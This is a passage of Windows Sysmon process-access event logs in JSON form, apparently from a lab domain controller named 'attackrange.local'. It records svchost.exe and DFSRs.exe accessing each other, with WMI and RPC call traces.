C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+261b7|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.875","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+261b7|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1717,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.890\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nSourceProcessId: 2564\r\nSourceThreadId: 3332\r\nSourceImage: C:\\Windows\\system32\\DFSRs.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmidcprv.dll+163a4|C:\\Windows\\system32\\wbem\\wmidcprv.dll+166e0|C:\\Windows\\system32\\wbem\\wmidcprv.dll+abad|C:\\Windows\\system32\\wbem\\wmidcprv.dll+b57e|C:\\Windows\\system32\\wmidcom.dll+58a6|C:\\Windows\\system32\\wmidcom.dll+5464|C:\\Windows\\system32\\wmidcom.dll+5495|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.890","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","SourceProcessId":"2564","SourceThreadId":"3332","SourceImage":"C:\\Windows\\system32\\DFSRs.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmidcprv.dll+163a4|C:\\Windows\\system32\\wbem\\wmidcprv.dll+166e0|C:\\Windows\\system32\\wbem\\wmidcprv.dll+abad|C:\\Windows\\system32\\wbem\\wmidcprv.dll+b57e|C:\\Windows\\system32\\wmidcom.dll+58a6|C:\\Windows\\system32\\wmidcom.dll+5464|C:\\Windows\\system32\\wmidcom.dll+5495|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1718,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.890\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+264a1|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2669f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25c4b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27476|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27db2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+277c9|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26100|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.890","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+264a1|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2669f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25c4b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27476|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27db2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+277c9|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26100|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1719,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.890\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+264a1|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2669f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25c4b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27476|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27db2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+277c9|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26100|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.890","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+264a1|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2669f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25c4b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27476|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+27db2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+277c9|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26100|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1720,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.890\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2597b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+283dc|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.890","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2597b|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+283dc|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1721,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.890\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2a2f2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+29e26|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+28432|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.890","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2a2f2|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+29e26|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+28432|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+281af|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2982c|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+292fb|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+26165|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1722,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.890\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25d35|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2619d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.890","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+25d35|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2619d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1723,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.890\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2140\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: 